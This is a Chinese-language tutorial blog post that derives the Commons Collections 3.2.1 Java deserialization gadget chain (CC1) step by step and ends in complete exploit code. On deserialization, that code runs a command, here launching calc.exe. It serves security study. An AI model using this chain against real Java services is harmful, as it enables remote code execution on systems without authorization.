CC链 Java反序列化
环境要求
CommonsCollections <= 3.2.1
java < 8u71(我使用的是)
java8u65 环境链接先不放,在配置环境的时候遇到一件很神奇的事:
下面是oracle的java8存档地址,真的很神,第一个链接是中文的,当你使用Ctrl + F
去找java8u65
(第8个版本的第六十五次更新)的时候,下载的是java8u111,我以为只有一个是不对的,多试了几个都不对。
1 2 3 https:// www.oracle.com/cn/ java/technologies/ javase/javase8-archive-downloads.html https:// www.oracle.com/java/ technologies/javase/ javase8-archive-downloads.html
因为只是使用java运行,不需要配置环境变量,只需要在idea中修改项目结构中的解释器目录。
此外,还需要配置一下源码
https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4
在左边侧栏下载压缩包,打开压缩包,找到以下目录
1 解压目录\src\share\classes\sun
复制sun包中的内容到java8u65的src目录中,默认是没有src目录的,解压该目录中的src.zip文件,在idea项目结构中sourcepath,导入src目录。
CommonsCollections 在idea创建maven项目,配置文件pom.xml中添加,junit是用于测试的
1 2 3 4 5 6 7 8 9 10 11 12 13 <dependencies > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency > <dependency > <groupId > junit</groupId > <artifactId > junit</artifactId > <version > 4.13.2</version > <scope > test</scope > </dependency > </dependencies >
环境配置完毕,应该没有了吧,。
ysoserial中给到的链子 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
看不懂也不要慌,遇事不要慌。一步一步来。
找到org.apache.commons.collections.transformer
接口
1 2 3 public interface Transformer { public Object transform (Object input) ; }
ctrl + alt + b
或者ctrl + h
寻找向下的继承类
找到个org.apache.commons.collections.functors.InvokerTransformer
的类
InvokerTransformer.java实现了transformer接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public Object transform (Object input) { if (input == null ) { return null ; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception" , ex); } }
try语句中使用反射,尝试调用了transform方法接受的对象的方法,因为是使用的getMethod
方法,所以调用公共方法才不会报错。
调用的函数参数iMethodName,iParamTypes,iArgs,都可以在实例化InvokerTransformer类时传入。
1 2 3 4 5 6 public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { super (); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; }
我们可以尝试一下执行命令:
1 Runtime.getRuntime ().exec ("calc.exe" )
将Runtime.getRuntime()对象传入,满足以下条件。
梳理 1 2 3 4 methodName = = exec 函数名 Object input = = Runtime.getRuntime() 执行函数的对象paramTypes = = String.class 函数参数的类型args = = "calc.exe" 函数实参
payload升级: 1 2 3 4 5 6 7 8 @Test public void test1 () throws IOException, ClassNotFoundException { InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc.exe" }); invokerTransformer.transform(Runtime.getRuntime()); }
弹出计算机为成功
alt+F7查看用法
org.apache.commons.collections.map.TranformedMap
TranformedMap.java找到了三个方法调用了transform
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 protected Object checkSetValue (Object value) { return valueTransformer.transform(value); }protected Object transformKey (Object object) { if (keyTransformer == null ) { return object; } return keyTransformer.transform(object); }protected Object transformValue (Object object) { if (valueTransformer == null ) { return object; } return valueTransformer.transform(object); }
三个方法属性都是protected
,对同一包内的类和所有子类可见。
三个方法中选择checkSetValue(),为社么不用其他两个呢,其他两个查找用法,没有找到合适的调用类。
找到对参数进行赋值的地方,是TransformedMap类的构造函数,构造函数属性为protected
,对同一包内的类和所有子类可见。
1 2 3 4 5 protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; }
寻找其他构造方法或者调用TransformedMap
的方法。
在同一个类中找到方法
1 2 3 public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); }
现在我们有了办法构造参数,但是无法调用TransformedMap.checkSetValue()
方法,继续查找用法。
AbstractInputCheckedMapDecorator.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry (Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super (entry); this .parent = parent; } public Object setValue (Object value) { value = parent.checkSetValue(value); return entry.setValue(value); } }
继承关系如下
1 MapEntry <= AbstractMapEntryDecorator
MapEntry
类的父类AbstractMapEntryDecorator
是抽象类,抽象类不能被实例化,但是可以有构造方法。这里在MapEntry
类中构造方法,super(entry)
实际上是AbstractMapEntryDecorator
的构造方法。
1 2 3 4 5 6 7 8 protected final Map.Entry entry;public AbstractMapEntryDecorator (Map.Entry entry) { if (entry == null ) { throw new IllegalArgumentException ("Map Entry must not be null" ); } this .entry = entry; }
梳理一下 1 2 3 4 5 6 7 8 MapEntry.class == AbstractMapEntryDecorator.entry == Map.Entry.class MapEntry .setValue(Object value) TransformedMap.decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) TranformedMap.checkSetValue(Object value) invokerTransformer.transform(Object input); valueTransformer == invokerTransformer value == Runtime.getRuntime()
三个Object是连续的传递,至于MapEntry如何得到呢?Map
通过 entrySet()
方法可以获取 Map.Entry
升级: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 @Test public void test2 () throws IOException, ClassNotFoundException { InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc.exe" }); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("key" , "value" ); Map<Object,Object> decorated = TransformedMap.decorate(hashMap, null , invokerTransformer); for (Map.Entry<Object, Object> entry : decorated.entrySet()) { entry.setValue(Runtime.getRuntime()); } }
弹出计算机为成功
AnnotationInvocationHandler 继续老办法,alt + F7
查看用法。
sun.reflect.annotation.AnnotationInvocationHandler
这个类刚好调用了setValue()
方法,而且还刚好在readObject()
方法中调用setValue()
。在该类被反序列化的时候则会调用readObject()
方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } }
我们可以看到通过entrySet()
来获得Map.Entry
在到达setValue()
前需要绕过两层if
判断。
type,memberValues是通过构造函数可传递的参数
1 2 3 4 5 6 7 8 9 AnnotationInvocationHandler(Class<? extends Annotation > type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0 ] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError ("Attempt to create proxy for a non-annotation type." ); this .type = type; this .memberValues = memberValues; }
Class<? extends Annotation> type
是什么呢,chatgpt
1 2 3 4 5 6 Class <? extends Annotation> 可以表示任意注解的 Class 对象Class <? extends Annotation> annotationClass = Override .class ;Class <? extends Annotation> annotationClass2 = Deprecated .class ; 但它不能是 Class <Object > 或 Class <String >,因为它们不是 Annotation 的子类。
为了兼容性和稳定性,推荐使用一些java自带的注解。
if (memberType != null)
我们可以实验一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc.exe" }); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("key" , "value" ); Map<String, Object> decorated = TransformedMap.decorate(hashMap, null , invokerTransformer); AnnotationType annotationType = AnnotationType.getInstance(Target.class); Map<String, Class<?>> memberTypes = annotationType.memberTypes(); System.out.println(memberTypes);
绕过第一个if,需要在Map.Entry的key在对应memberTypes中有对应的值。
当Map.Entry的key为value时,值在memberTypes为class,!= null
为 true,加入下列代码验证一番。
1 2 3 4 5 6 7 8 9 10 11 for (Map.Entry<String, Object> memberValue : decorated.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { System.out.println(123 ); } else { System.out.println("456" ); }
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy))
脑袋已经晕了,层层剖析
1 2 3 4 5 6 7 8 9 Object value = memberValue.getValue();if (!(memberType.isInstance(value) || value instanceof ExceptionProxy))
1 hashMap.put("value" , "value" )
memberValue
是Map.Entry的值,也就是第二个"value"
。
memberType为{value=class [Ljava.lang.annotation.ElementType;}
,而"value"
是一个String,已不是一个 ExceptionProxy
的实例。
实验一下:将之前那段for循环修改为现在的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 for (Map.Entry<String, Object> memberValue : decorated.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { System.out.println(123 ); Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { System.out.println("yes" ); } else System.out.println("no" ); } else { System.out.println("456" ); } }
也就是能够执行到 memberValue.setValue()
,但是参数并不是我们能控制的。
有没有参数不重要,返回的值是一样的Transformer?
org.apache.commons.collections.functors.ConstantTransformer
1 2 3 4 5 6 7 8 public ConstantTransformer (Object constantToReturn) { super (); iConstant = constantToReturn; }public Object transform (Object input) { return iConstant; }
梳理一下 1 2 3 4 5 6 7 8 9 10 11 MapEntry.class == AbstractMapEntryDecorator.entry == Map.Entry.class MapEntry .setValue(Object value) TransformedMap.decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) TranformedMap.checkSetValue(Object value) ConstantTransformer(Runtime.getRuntime()) ConstantTransformer.transform(Object input) valueTransformer == ConstantTransformer value == 不重要
调用transform
方法的返回值是实例化时传入的参数constantToReturn
,但是最后无法执行到危险函数了
最后的主角,但是脑袋已经不够用了。
org.apache.commons.collections.functors.ChainedTransformer
1 2 3 4 5 6 7 8 9 10 11 public ChainedTransformer (Transformer[] transformers) { super (); iTransformers = transformers; }public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
从第0个开始,调用每一个iTransformers
的transform()
。
参数则是上一次transform()
处理后的 object
。
我们需要将 Runtime.getRuntime()
作为 invokerTransformer.transform()
的参数,这里又回到了最初了,常回家看看,回家看看。所以我们需要将 ConstantTransformer
作为第一个
ChainedTransformer.transform()
传入什么作为参数都不重要。我们可以看看循环过程:
1 2 3 4 5 6 7 第一次运行: iTransformers[0] .transform (object ); return Runtime.getRuntime (); 第二次运行: invokerTransformer.transform (Runtime.getRuntime ()); 是不是就可以执行了呢
似乎一切都说通了。
问题一 AnnotationInvocationHandler
是default类型,在同一包内可见。需要用到反射来初始化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 @Test public void test2_1 () throws Exception { ConstantTransformer constantTransformer = new ConstantTransformer (Runtime.getRuntime()); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc.exe" }); ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{constantTransformer, invokerTransformer}); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("value" , "value" ); Map<String, Object> decorated = TransformedMap.decorate(hashMap, null , chainedTransformer); Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); Object o = constructor.newInstance(Target.class, decorated); serializable(o); unserializable("ser.bin" ); }
问题二 意外蛊出现了
1 java.io .NotSerializableException : java.lang .Runtime
Runtime
没有继承Serializable
接口,所以不能直接被反序列化。
救星:Class可以被反序列化,再次使用反射。
1 public final class Class <T> implements java.io.Serializable
代码格式是错误的,只是一个解释,不必按照代码解释。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Runtime.getRuntime().exec()new ConstantTransformer(Runtime.class).transform() return Runtime.class invokerTransformer.transform(Runtime.class) return Method Runtime .getRuntime () 返回的是Method 类的对象 // 使用Invoke 调用Runtime .getRuntime () invokerTransformer .transform (Method Runtime.getRuntime() )return Method Runtime .getRuntime () .invoke () ; currentRuntime; invokerTransformer.transform(currentRuntime); 执行currentRuntime.exec(),也就是Runtime.getRuntime().exec()。参数则通过实例化InvokerTransformer时传递。
需要注意的是实例化InvokerTransformer的时候,参数依次为
1 2 iMethodName iParamTypes iArgs 方法名 传入方法的参数的类型 传入方法的参数
完整代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 @Test public void test2_1 () throws Exception { ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc.exe" }) }); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put("value" , "value" ); Map<String, Object> decorated = TransformedMap.decorate(hashMap, null , chainedTransformer); Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); Object o = constructor.newInstance(Target.class, decorated); serializable(o); unserializable("ser.bin" ); }
注释是为了自己看的明白过程。